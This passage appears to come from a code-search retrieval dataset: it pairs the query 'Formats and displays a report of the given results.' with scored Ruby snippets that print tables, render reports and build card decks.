l,id)\n#\t\t\t\t\t\tputs cardSet[id-1].color\n\t\t\t\t\t\tid += 1\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcardSet\n\tend", "title": "" }, { "docid": "f12ecd5984a5a9a6d32d646908bd84b2", "score": "0.69545966", "text": "def card_factory(unformatted_cards)\n unformatted_cards.each do |hash|\n add_cards_to_deck(Card.new(hash))\n end \n end", "title": "" }, { "docid": "51061999551ea5585b6f91e5fff1e2f2", "score": "0.69480646", "text": "def init_decks(epidemic_cards)\n # We initialize 2 decks with one card for each city\n @board.cities.each do |city_name, city|\n @city_deck.add_card(CityCard.new(city))\n @infection_deck.add_card(InfectionCard.new(city))\n end\n\n @city_deck.shuffle\n @infection_deck.shuffle\n end", "title": "" }, { "docid": "d7402d3f2ef07fbdf243191dde1adeca", "score": "0.69283295", "text": "def initialize_player_cards\n create_supply_decks\n players.each do |p|\n create_player_decks(p)\n create_player_cards(p)\n p.draw_card(5)\n end\n end", "title": "" }, { "docid": "9fc755f43bb3592f59a8da4b60ad21e7", "score": "0.69264686", "text": "def create_deck\n ranks = [\"A\", 2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\" ]\n suits = [ \"hearts\", \"spades\", \"clubs\", \"diamonds\" ]\n\n deck = []\n\n ranks.each_with_index do |rank, i|\n suits.each do |suit|\n card = {\n suit: suit,\n rank: rank,\n worth: i\n }\n deck << card\n end\n end\n\n deck.shuffle!\n return deck\nend", "title": "" } ]
ed8ffd5661d3fb8779a0fc5ede3354b9
Formats and displays a report of the given results.
[ { "docid": "d61cb2c7139d01986b7ca14a6feaeb7d", "score": "0.65070796", "text": "def report(results, indent: 0, percentiles: [ 10, 25, 50, 75, 90, 95, 98, 99 ])\n results.each do |key, value|\n puts format('%*s%s:', indent, '', key)\n\n if value.respond_to?(:summary)\n puts value.summary(indent + 2, percentiles)\n else\n report(value, indent: indent + 2, percentiles: percentiles)\n end\n end\n end", "title": "" } ]
[ { "docid": "c60eb069dc24714f3766d2a61b46d8b6", "score": "0.7688103", "text": "def display_results\n print_header\n print_detailed_report\n write_csv_report\n display_status\n end", "title": "" }, { "docid": "cd6ff99959459da9f7841dd738671ddb", "score": "0.730577", "text": "def show\n @results = @report.results\n end", "title": "" }, { "docid": "cd6ff99959459da9f7841dd738671ddb", "score": "0.730577", "text": "def show\n @results = @report.results\n end", "title": "" }, { "docid": "af5a955bd72886f9fc46ce1419e4ef93", "score": "0.7148279", "text": "def print_results\n Report::print(@result_set)\n end", "title": "" }, { "docid": "90cef7b18b306a1d1d0d181ba0f12420", "score": "0.7038988", "text": "def format_records(records)\n records.each do |record|\n report record\n end\n end", "title": "" }, { "docid": "a41d43839f903ea0f66fc5a917c71824", "score": "0.69871104", "text": "def report\n table = Terminal::Table.new(headings: ['Basic', 'Result']) do |t|\n t << [\"Number of paragraphs\", number_of_paragraphs]\n t << [\"Number of sentences\", number_of_sentences]\n t << [\"Number of words\", number_of_words]\n t << [\"Number of characters\", number_of_characters]\n t << [\"Number of syllables\", number_of_syllables]\n\n t << :separator\n t << [\"Average words per sentence\", mean_of_words_per_sentence]\n t << [\"Average syllables per word\", mean_of_syllables_per_word]\n t << [\"Average syllables per content word\", syllables_per_content_word]\n\n t << :separator\n t << [\"Verbs Ocurrencies\", verb_incidence]\n t << [\"Nouns Ocurrencies\", noun_incidence]\n t << [\"Adjective Ocurrencies\", adjective_incidence]\n t << [\"Adverb Ocurrencies\", adverb_incidence]\n t << [\"Pronoun Ocurrencies\", pronoun_incidence]\n t << [\"Content Word Ocurrencies\", content_word_incidence]\n t << [\"Function Word Ocurrencies\", function_word_incidence]\n\n t << :separator\n t << [\"Flesch score\", flesch]\n end\n puts table\n end", "title": "" }, { "docid": "1f44746883c8fa90e4d61022e85550a5", "score": "0.6953262", "text": "def display_results()\n\t\t case @format\n when \"csv\"\n display_results_csv\n when \"html\"\n display_results_html\n when \"json\"\n display_results_json\n else\n display_results_csv\n end\n end", "title": "" }, { "docid": "97efe8314e733acb3d5143f401e83c5a", "score": "0.69291526", "text": "def run_report\n comparison_values.tap do |results|\n display_report(results)\n end\n end", "title": "" }, { "docid": "7c2deef17673d5963fb2d084a5e984e2", "score": "0.6882841", "text": "def analyze\n format_results\n end", "title": "" }, { "docid": "20ea463be264862db5025f95732f8b6d", "score": "0.6788043", "text": "def format_results(results, color = true)\n Defcli.format_results(results, color)\n end", "title": "" }, { "docid": "45e8d6ff938c4aabc80c86bd711ff714", "score": "0.67507166", "text": "def display_results\n\n title1 = sprintf(TITLE_ROW, \"METH\", \"PATH\", \"CALLED\", \"RESPONSE TIME(ms)\",\"\", \"\", \"\", \"\",\"\",\"\", \"DYNO\", \"MESSAGE\", \"SIZE\")\n puts(title1)\n printf(TITLE_ROW, \"\", \"\", \"Times\", \"Mean\",\" : \",\"Median\",\" : \",\"Mode\",\" : \", \"Range\", \"Busiest\", \"Average\", \"Max\")\n puts('-'*title1.length)\n @endpoints.each do | ep |\n if ep.called == 0 then\n printf(TITLE_ROW, ep.ep_method,ep.ep_path, \" Never\", \" \",\" : \",\" \",\" : \",\" \",\" : \", \" \", \" \", \" \", \" \")\n else\n printf(DATA_ROW,\n ep.ep_method,\n ep.ep_path,\n ep.called,\n ep.averages[:responses].mean,\n ep.averages[:responses].median,\n ep.averages[:responses].mode,\n ep.averages[:responses].range,\n ep.busiest_dyno,\n ep.averages[:bytes].mean,\n ep.averages[:bytes].hi)\n end\n end\n\n if @endpoints.unprocessed_lines > 0\n puts \"There were #{@endpoints.unprocessed_lines} Unprocessed Lines of data from #{@loglines} total lines in the log!\"\n else\n puts \"All #{@loglines} total lines in the log were processed!\"\n end\n end", "title": "" }, { "docid": "c83c09ec3fd810644a5c796bc1578bec", "score": "0.6715375", "text": "def results\n results = result_maker(RACER_RECORDS)\n total_time = total_time_maker(RACER_RECORDS)\n @view.display_results(results, total_time)\n end", "title": "" }, { "docid": "767ee814a3943130f839253eb4782b98", "score": "0.6703057", "text": "def format_results(results, color=true)\n UD::Formatting.text(results, color)\n end", "title": "" }, { "docid": "45a2034af455feefd8fcb276ef87a607", "score": "0.66905", "text": "def report( display_object = Kernel, display_method = :puts )\n return if display_method.nil? || !display_object.respond_to?( display_method )\n\n if processed_rows + errors_count > 0\n if edited_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- UPDATED Meetings in calendar: #{ edited_rows_count }\" )\n @edited_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n if created_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- CREATED Meetings in calendar: #{ created_rows_count }\" )\n @created_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n if errors_count > 0\n display_object.send( display_method, \"\\r\\n--- Tot. ERRORS during calendar processing: #{ errors_count }\" )\n @error_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n end\n end", "title": "" }, { "docid": "b8596f5b6ebe960483ae2317f6311114", "score": "0.66322666", "text": "def report\n sprintf \"Number of paragraphs %d \\n\" <<\n \"Number of sentences %d \\n\" <<\n \"Number of words %d \\n\" <<\n \"Number of characters %d \\n\\n\" <<\n \"Average words per sentence %.2f \\n\" <<\n \"Average syllables per word %.2f \\n\\n\" <<\n \"Flesch score %2.2f \\n\" <<\n \"Flesh-Kincaid grade level %2.2f \\n\" <<\n \"Fog Index %2.2f \\n\",\n num_paragraphs, num_sentences, num_words, num_characters,\n words_per_sentence, syllables_per_word,\n flesch, kincaid, fog\n end", "title": "" }, { "docid": "396e64b4a218659f2bb16f0c18aac520", "score": "0.6629329", "text": "def display_results\r\n if @errors.empty?\r\n @out.puts @results\r\n else\r\n @errors.each{ |error| @out.puts error }\r\n end\r\n end", "title": "" }, { "docid": "207ef0e7e8bea1bb1bd373d175c056c8", "score": "0.65744233", "text": "def report\n\t\tend", "title": "" }, { "docid": "82c79890ab940d09e53b40da5466d46c", "score": "0.65683186", "text": "def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"count_of_table_sid_by_field_sid\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = AccessReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end", "title": "" }, { "docid": "a684d5aea9cdb2b291e45e96ff461e87", "score": "0.649669", "text": "def display_results\r\n raise \"Not implemented\"\r\n end", "title": "" }, { "docid": "404739ebaf2a5fa9d2fb2a8c1430f0df", "score": "0.64892095", "text": "def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = BgWorkerReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end", "title": "" }, { "docid": "2a301f0b5fbb9386510ae91cd5d611d6", "score": "0.6423897", "text": "def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = UserReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end", "title": "" }, { "docid": "ca06144ece3203a0cb4f561c6a81982e", "score": "0.64198995", "text": "def report_results( timings )\n t = timings.first\n output.puts \n output.puts \" Total files read : #{\"%12d\" % t.value_stats.count}\"\n output.puts \" Total bytes read : #{\"%12d\" % t.value_stats.sum}\"\n output.puts \" Minimum filesize : #{\"%12d\" % t.value_stats.min}\"\n output.puts \" Average filesize : #{\"%16.3f\" % t.value_stats.mean}\"\n output.puts \" Maximum filesize : #{\"%12d\" % t.value_stats.max}\"\n output.puts \" Stddev of sizes : #{\"%16.3f\" % t.value_stats.stddev}\"\n output.puts\n\n output.puts [\"%28s\" % \"read order\", \"%20s\" % \"Elapsed time (sec)\", \"%22s\" % \"Read rate (bytes/sec)\" ].join(\" \")\n output.puts \"-\" * 72\n timings.each do |timing|\n p = [ ]\n p << \"%28s\" % timing.name\n p << \"%20.3f\" % timing.timed_stats.sum\n p << \"%22.3f\" % timing.rate\n output.puts p.join(\" \")\n end\n output.puts\n end", "title": "" }, { "docid": "6a2933502d1a4810612794bb85381756", "score": "0.64174336", "text": "def report\n @scan = find_scan( params.require( :id ) )\n\n format = URI( request.url ).path.split( '.' ).last\n render layout: false,\n content_type: FrameworkHelper.content_type_for_report( format ),\n text: FrameworkHelper.framework { |f| f.report_as format, @scan.report.object }\n end", "title": "" }, { "docid": "6d56a9838fa98de971bd509e9167955b", "score": "0.6407867", "text": "def report\n @scan = find_scan( params.require( :id ) )\n\n format = URI( request.url ).path.split( '.' ).last\n render layout: false,\n text: FrameworkHelper.\n framework { |f| f.report_as format, @scan.report.object }\n end", "title": "" }, { "docid": "523b64c0da01d0e92b759f5d70bb11a2", "score": "0.6404417", "text": "def results\r\n print_books\r\n print_toys\r\n print_classes\r\n end", "title": "" }, { "docid": "ab9c74a685f7a601299e4f6180a48856", "score": "0.6404007", "text": "def report\n \n end", "title": "" }, { "docid": "ecc3d1d5358321821a62328e5f8677f5", "score": "0.6402296", "text": "def report( display_object = Kernel, display_method = :puts )\n return if display_method.nil? || !display_object.respond_to?( display_method )\n\n if edited_rows_count + errors_count > 0\n if edited_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- UPDATED Meetings in calendar: #{ edited_rows_count }\" )\n @edited_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n if errors_count > 0\n display_object.send( display_method, \"\\r\\n--- Tot. ERRORS during calendar processing: #{ errors_count }\" )\n @error_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n end\n end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.6396544", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.6396544", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.6396544", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.6396544", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.6396544", "text": "def report; end", "title": "" }, { "docid": "754f04d7d80f0aaa623023bdde3fec24", "score": "0.6394731", "text": "def output_report\n report = \"\"\n report << '<html>'\n report << ' <head>'\n report << \" <title>#{@title}</title>\"\n report << ' </head>'\n report << ' <body>'\n @text.each { |line| report << \" <p>#{line}</p>\" }\n report << ' </body>'\n report << '</html>'\n end", "title": "" }, { "docid": "5347f30c54755663a07d0088557424d9", "score": "0.6385504", "text": "def run_report(report)\n report.update! status: 'running'\n\n klass = report.name.constantize\n\n r = klass.new(report.parameters)\n if r.parameters_valid?\n record_set = r.query\n report_template = klass.template\n\n output = ApplicationController.new\n .render_to_string(template: report_template, formats: report.format,\n locals: { klass: klass, record_set: record_set,\n created_at: report.created_at })\n report.update! status: 'completed', output: output\n else\n report.update status: 'error'\n report.update status_message: r.error_message\n end\n end", "title": "" }, { "docid": "ff1c5a78ad0afe5ec7c33ac8c0f37c85", "score": "0.6368352", "text": "def report\n @report = Report.new(self)\n @results.keys.each do |key|\n yield key\n end\n @report.write\n end", "title": "" }, { "docid": "4f4325066d58826001b6bd48ae521cd3", "score": "0.6351212", "text": "def parse_results(query, results)\n report = InspectionReport.new\n report.url = \"https://github.com/#{repo_owner}/#{repo_name}/search?q=#{query}&type=Issues&utf8=✓\"\n report.query = query\n report.total_results = results['total_count']\n report.issues = results['items'].map { |item| Issue.new(item) }\n report\n end", "title": "" }, { "docid": "2a158531f2d2dd4a2ae748f521da7cf0", "score": "0.63344574", "text": "def report(output)\n output.title(options[:title]) if options[:title]\n\n if @categories.empty?\n output << \"None found.\\n\"\n else\n sorted_categories = output.slice_results(sorted_by_frequency)\n total_hits = overall_frequency\n\n output.table({:align => :left}, {:align => :right }, {:align => :right}, {:type => :ratio, :width => :rest}) do |rows|\n sorted_categories.each do |(cat, count)|\n rows << [cat, \"#{count} hits\", '%0.1f%%' % ((count.to_f / total_hits.to_f) * 100.0), (count.to_f / total_hits.to_f)]\n end\n end\n\n end\n end", "title": "" }, { "docid": "005f8b54ec297a632eb602c905362ec9", "score": "0.63290805", "text": "def create_report\n print_sales_report_ASCII\n print_date\n print_products_ASCII\n print_brands_ASCII\n end", "title": "" }, { "docid": "4eb8110fdde1d24a3182859e576a1efb", "score": "0.6312667", "text": "def format(result)\n @formatters.each do |formatter|\n formatter.format(result)\n end\n end", "title": "" }, { "docid": "004f1ca57cdfa474a1f47bcfc30d2995", "score": "0.62702256", "text": "def results_to_html\n results_html = \"<p>Here are the last #{@results.length} test results:</p>\"\\\n \"<table style='width:100%;font-size:11px;'><tr>\"\\\n \"<th align='left'>Server</th><th align='left'>Download</th>\"\\\n \"<th align='left'>Upload</th><th align='left'>Time</th></tr>\"\n @results.each do |result|\n results_html += \"<tr><td>#{result[:server]}</td><td>#{result[:download]}</td>\"\n results_html += \"<td>#{result[:upload]}</td><td>#{result[:time]}</td></tr>\"\n end\n results_html += \"</table>\"\n return results_html\n end", "title": "" }, { "docid": "5549d7cb6d7490dd5f9a25474e58d657", "score": "0.62681925", "text": "def show_results(results)\n if results.is_a?(Hash)\n results = results.sort_by(&:last).reverse\n\n results.each_with_index do |result, times|\n break if times == @options.number\n\n puts(format('%<count>4d - %<phrase>s', count: result[1], phrase: result[0]))\n end\n else\n puts results # didn't get a hash result (probably a helpful user message, just show it)\n end\n end", "title": "" }, { "docid": "888d277584992f6024e50b65711b8f9b", "score": "0.62538326", "text": "def report( display_object = Kernel, display_method = :puts )\n return if display_method.nil? || !display_object.respond_to?( display_method )\n\n if destroyed_rows_count + edited_rows_count + errors_count > 0\n # Destroyed rows can either be Meetings or MeetingSessions.\n # For meetings, the text code will be a combo of its code & its ID.\n # For sessions, the text code will be a combo of its meeting.id & its ID.\n if destroyed_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- DESTROYED rows in specified season: #{ destroyed_rows_count }\" )\n @destroyed_rows_codes.each do |code|\n display_object.send( display_method, \"- #{ code }\" )\n end\n end\n # Edited rows can only refer to cancelled meetings:\n if edited_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- CANCELLED Meetings in calendar: #{ edited_rows_count }\" )\n @edited_rows_codes.each do |code|\n display_object.send( display_method, \"- #{ code }\" )\n end\n end\n # Error codes may refer to both Meetings or MeetingSessions deletion:\n if errors_count > 0\n display_object.send( display_method, \"\\r\\n--- Tot. ERRORS during calendar processing: #{ errors_count }\" )\n @error_rows_codes.each do |code|\n display_object.send( display_method, \"- #{ code }\" )\n end\n end\n end\n end", "title": "" }, { "docid": "2bac3b235101a6e12f2313851dabd3df", "score": "0.62442", "text": "def format_results(obj)\n o = ''\n obj.each_result do |key, res|\n links = format_result_links(res)\n stats = format_result_stats(res)\n next unless links || stats\n name = format_name(key)\n url_doc =\n 'http://manual.microbial-genomes.org/part5/workflow#' +\n key.to_s.tr('_', '-')\n o += <<~CARD\n <div class=\"col-md-6 mb-4\">\n <h3>#{name}</h3>\n <div class='border-left p-3'>\n #{stats}\n #{links}\n </div>\n <div class='border-top p-2 bg-light'>\n <a target=_blank href=\"#{url_doc}\" class='p-2'>Learn more</a>\n </div>\n </div>\n CARD\n end\n \"<div class='row'>#{o}</div>\"\n end", "title": "" }, { "docid": "7a6c8e7fc84efad9d9481b7fd7f038cd", "score": "0.6241477", "text": "def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = DevFeedbackReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end", "title": "" }, { "docid": "3d7a437794cf48545e254b5eb72e23a1", "score": "0.6229058", "text": "def format!\n tables.map { |t|\n SimpleReports::TableFormatter.new(t).format_table!\n }\n end", "title": "" }, { "docid": "68a3e2175da2d76ace71c70ae7dedcdb", "score": "0.62178373", "text": "def index\n report = ReportService.perform(params, current_user)\n @pagy, @data = pagy(report.result) # paginate using pagy gem.\n\n respond_to do |format|\n # check for error attribute in results object\n if report.success?\n format.html\n else\n format.html { redirect_to root_path, alert: report.error }\n end\n end\n end", "title": "" }, { "docid": "b57c9c3596fe4e250cf863a2c1787706", "score": "0.6213688", "text": "def show\n results = Result.all(@calculation)\n @decorated_results = ResultDecorator.decorate_collection results\n @labels = results.map { |result| \"#{result.year} - #{result.week}\" }\n @values = results.map(&:exchange_sum)\n end", "title": "" }, { "docid": "b78d9ee82e4ced4430a668b64d4d8d98", "score": "0.6196004", "text": "def display(results, options = T.unsafe(nil)); end", "title": "" }, { "docid": "e243225f5e7484f3d3f54c72c4d4123d", "score": "0.619098", "text": "def print_results(results)\n important \"\"\n print_stats(results)\n\n important \"* #{format_float(results.failure_rate)}% failure rate\"\n suffix = \" (#{format_float(results.elapsed / ITERATIONS.to_f)}/iteration)\" if ITERATIONS > 0\n important \"* #{format_float(results.elapsed)} seconds elapsed#{suffix}\"\nend", "title": "" }, { "docid": "67295ed5337653372e2ead5ae6f664d5", "score": "0.6177662", "text": "def render output\n\t\t\t\treport_classification\n\n\t\t\t\treport_title Report.title\n\t\t\t\treport_subtitle \"Talking Points Report\"\n\t\t\t\treport_author \"This report was prepared by\\n#{Report.author}\"\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t@output.text \"Scan Date:\", :style => :bold\n\t\t\t\t@output.text \"#{Report.scan_date}\"\n\t\t\t\t@output.text \"\\n\"\n\n\t\t\t\t# Number of hosts / score\n\t\t\t\t@output.text \"There were #{Host.count} hosts identified, containing #{Item.critical_risks.to_a.count + Item.high_risks.to_a.count} critical and high risks findings. Of those there were #{Item.critical_risks.to_a.count} Critical risks, and #{Item.high_risks.to_a.count} High risks.\"\n\n\t\t\t\t@output.text \"These critical and highs were discovered on #{Host.unique_hosts_with_critical_and_high_count} unique hosts. #{Item.risk_percent_rounded_text} of the total assessed computers were found to have an critical or high finding.\"\n\n\t\t\t\t# @TODO need vulnerable host count\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t# Top Hosts with Findings\n\t\t\t\t#@TODO need this call\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t# Notable Findings\n\t\t\t\tItem.top_10_table(@output)\n\n\n\t\t\t\t# Plugin_output keyword search?\n\n\t\t\t\t@output.number_pages \"<page> of <total>\", :at => [output.bounds.right - 75, 0], :width => 150, :page_filter => :all\n\t\t\tend", "title": "" }, { "docid": "ba4c047de4e10195dfd6ec37137e2dbf", "score": "0.61652654", "text": "def print_results\n UI.puts results_message\n end", "title": "" }, { "docid": "d4f109312007cc72eb452da56a772b2a", "score": "0.6137969", "text": "def report(*args)\n options = args.first\n sort_order = options && options[:sort]\n if sort_order && !sort_order.eql?(:ascending) && !sort_order.eql?(:descending)\n raise(ArgumentError.new('Invalid configuration, use [:ascending, :descending]'))\n end\n\n check_auth(options)\n\n items = coverage_items\n items.select! { |item| file_in_changeset?(item.file) }\n items.each(&method(:update_item))\n items.sort_by! do |item|\n if sort_order.eql?(:ascending)\n item.total\n else\n -item.total\n end\n end\n items.each(&method(:add_entry))\n\n return if @table.size.zero?\n\n markdown(\"#{TABLE_TITLE}\\n\\n#{@table.to_markdown}\")\n end", "title": "" }, { "docid": "80bd8fc72bd7b350df75a440c2839a48", "score": "0.6135898", "text": "def report_body\n order_sorted_body.each_with_object([]) do |result, obj|\n rating = rate(result[:last], result[:min], result[:max])\n\n obj << \"#{avg_label} #{result[:avg].to_s.ljust(12)} \" \\\n \"#{min_label} #{result[:min].to_s.ljust(12)} \" \\\n \"#{max_label} #{result[:max].to_s.ljust(12)} \" \\\n \"#{run_label(rating)} #{result[:last].to_s.ljust(12)} \" \\\n \"#{des_label} #{result[:desc]}\\n\"\n end.join\n end", "title": "" }, { "docid": "dfdadb50a02ad4749bbc643f3aaca1fd", "score": "0.6124477", "text": "def report(driver_sum, money_result, rate_result)\n puts \"\\nPerformance Report: \\n\\n\"\n\n driver_sum.each do |item|\n puts \"Driver ##{item[:id]}: #{item[:ride_num]} rides, made $#{item[:total_money]}, averate rate #{item[:aver_rate]}\"\n end\n\n puts \"\\nDriver(s) made the most money $#{money_result[0]}: #{money_result[1]}\"\n puts \"Driver(s) got the highese average rating #{rate_result[0]}: #{rate_result[1]}\\n\\n\"\nend", "title": "" }, { "docid": "abbe3022dd0aaa423ac2bfc1247e3a0f", "score": "0.61109465", "text": "def report(output)\n end", "title": "" }, { "docid": "775dbc283e1bba738025caf8172a76e8", "score": "0.61068946", "text": "def report(file, result)\n Fast.report(result,\n file: file,\n show_link: @show_link,\n show_permalink: @show_permalink,\n show_sexp: @show_sexp,\n headless: @headless,\n bodyless: @bodyless,\n colorize: @colorize)\n end", "title": "" }, { "docid": "edff1c4a1685eeb2e0eee501853b1a1b", "score": "0.6070409", "text": "def html_report_stats\n @report << '<div id=\"title\"> General Statistics</div>'\n stat_tab = Ruport::Data::Table(%w[Stat Value])\n stat_tab << ['Number of servers Seen', @num_servers]\n stat_tab << ['Number of clients Seen', @num_clients]\n @num_by_cipher.each do |cipher, num|\n stat_tab << ['Encryption: ' + cipher, num]\n end\n @report << stat_tab.to_html\n @report << '<br /><br />'\n end", "title": "" }, { "docid": "43d48c06d2c53984aebba1ec4ee1c12e", "score": "0.6059697", "text": "def report_results(filename, res, metric_name)\n # Create dir 'reports' if it does not exist yet\n Dir.mkdir('reports', 0755) unless Dir.exist?('reports')\n\n # Get previous results if there are\n if File.exist?(\"reports/#{metric_name}.json\")\n reports = JSON.parse(IO.read(\"reports/#{metric_name}.json\"))\n else\n reports = {}\n end\n\n # Append new results\n append_results(reports, filename, res)\n\n # Update file\n File.open(\"reports/#{metric_name}.json\", 'w') do |fd|\n fd.puts(JSON.pretty_generate(reports))\n end\n end", "title": "" }, { "docid": "a09c77be0d20e944f53424a2642c8e59", "score": "0.60546803", "text": "def report(properties)\n if (@short_report)\n tags = 0\n @stats.tagged_files.each {|line| tags += line[1] }\n known = 0\n @stats.known_exceptions.each {|line| known += line[1] }\n missing = 0\n @stats.missing_tags.each {|line| missing += line[1] }\n\n puts \"Licenser: scanned #{@stats.file_count} files in #{@stats.dir_count} directories.\"\n printf(\" Licensed files: %5d\\n\", tags)\n printf(\" Known exceptions: %5d\\n\", known)\n printf(\" Missing tags: %5d\\n\", missing)\n else\n puts \"Licenser: run completed at #{DateTime.now.strftime(\"%H:%M:%S on %b %d, %Y\")}\"\n puts \" scanned #{@stats.file_count} files in #{@stats.dir_count} directories.\"\n puts\n puts 'Licensed files'\n @stats.tagged_files.sort.each do |line|\n printf(\"%5d %s\\n\", line[1], line[0])\n end\n puts\n puts 'Known non-licensed files'\n @stats.known_exceptions.sort.each do |line|\n printf(\"%5d %s\\n\", line[1], line[0])\n end\n puts\n puts 'Missing tags'\n @stats.missing_tags.sort.each do |line|\n printf(\"%5d %s\\n\", line[1], line[0])\n end\n puts\n puts 'properties:'\n properties.each do |key, value|\n puts \" #{key} = #{value}\"\n end\n end\n end", "title": "" }, { "docid": "f224b6200a4c4530a45434c5a80e6f2e", "score": "0.60483503", "text": "def output_report\n\t\toutput_start\n\t\toutput_head\n\t\toutput_body_start\n\t\toutput_body\n\t\toutput_body_end\n\t\toutput_end\n\tend", "title": "" }, { "docid": "9018b2cdcc2e5ac9b4ff98398f1a304d", "score": "0.6013083", "text": "def output_results_table(results={})\n\tputs \"-----------------------------------------\"\n\tputs \"| Type \t | Mean \t | Median \t|\"\n\tputs \"-----------------------------------------\"\n\tresults.each do |label, hash|\n\t\tprint \"| \" + label.ljust(10) + \" | \"\n\t\tprint sprintf(\"%.6f\", hash[:mean]).rjust(10) + \" | \"\n\t\tprint sprintf(\"%.6f\", hash[:median]).rjust(10) + \" | \\n\"\n\tend\n\tputs\nend", "title": "" }, { "docid": "8ebc433ceeef7a78b2994f57f771c2c3", "score": "0.60050493", "text": "def print_report(total_contacts, duplicate_contacts, invalid_contacts)\n print \"Summary:\\n\"\n print \"Total Valid Contacts: #{total_contacts}\\nDuplicate Contacts: #{duplicate_contacts}\\nInvalid Contacts: #{invalid_contacts}\\n\\n\"\n end", "title": "" }, { "docid": "f27598757c95bc4589415c8247aa1fd8", "score": "0.60027033", "text": "def all_results(job)\n # if need smaller windows use this print statement\n printf(\"%-40<title>s%-40<salary_range>s%-16<app_deadline>s\\n\",\n title: job.title.to_s, salary_range: job.salary_range.to_s, app_deadline: job.app_deadline.to_s)\n # printf(\"%-40<title>s%-35<department>s%-40<salary_range>s%-20<app_deadline>s\\n\",\n # title: job.title.to_s, department: job.department.to_s,\n # salary_range: job.salary_range.to_s, app_deadline: job.app_deadline.to_s)\n end", "title": "" }, { "docid": "6a0d226a0e7fc0c391c3d69434d865cf", "score": "0.5993818", "text": "def report\n {\n organization: organization,\n name: repo_name,\n default_branch: default_branch,\n url: repo_url,\n status: status,\n report: all_checks_result\n }\n end", "title": "" }, { "docid": "c0be2c0fb31cbe73a441b0d611b34fa0", "score": "0.5993459", "text": "def render(format, user, *args)\n TasksheetReport.render(format, :report => self, :user => user)\n end", "title": "" }, { "docid": "aa6a2931b19a4acfc57e8bd3095bf48c", "score": "0.59885186", "text": "def process\n ReportAdapter.new(report: runner.run(run_options), root: root).each do |issue|\n io.print issue.to_json\n io.print \"\\0\"\n end\n end", "title": "" }, { "docid": "1849c65666064a4cb5238f1a4eef6da4", "score": "0.5988513", "text": "def build_report_body\n #@output << erb(RAILS_ROOT + \"/app/views/reports/_users.html.erb\") \n pad(10) do\n add_text usernotes\n end\n if timespan == \"Daily\" \n add_text \"Current Tasks and Tasks Modified in the last Day\"\n elsif timespan == \"Weekly\"\n add_text \"Current Tasks and Tasks Modified in the last Week\"\n else\n add_text \"Current Tasks\"\n end\n pad(10) do\n draw_table(data, :width => 600)\n end\n if timespan == \"Daily\" \n add_text \"Current Goals and Goals Modified in the last Day\"\n elsif timespan == \"Weekly\"\n add_text \"Current Goals and Goals Modified in the last Week\"\n else\n add_text \"Current Goals\"\n end\n pad(10) do\n draw_table(goaldata, :width => 600)\n end\n end", "title": "" }, { "docid": "61e9d9f3ed895e75c2a77752950ca9e7", "score": "0.59849334", "text": "def report_results(filter = nil, limit = nil, format = 'json')\n url_filter_limit_format_request('arborws/reports/results', filter,\n limit, format)\n end", "title": "" }, { "docid": "1d39dc53b9e009766f0f3993aee3a73a", "score": "0.59773964", "text": "def print_results\n if @results.empty?\n puts 'No results found'\n return\n end\n\n tab_length = @results.first.keys.max_by(&:length).length\n @results.each do |result|\n 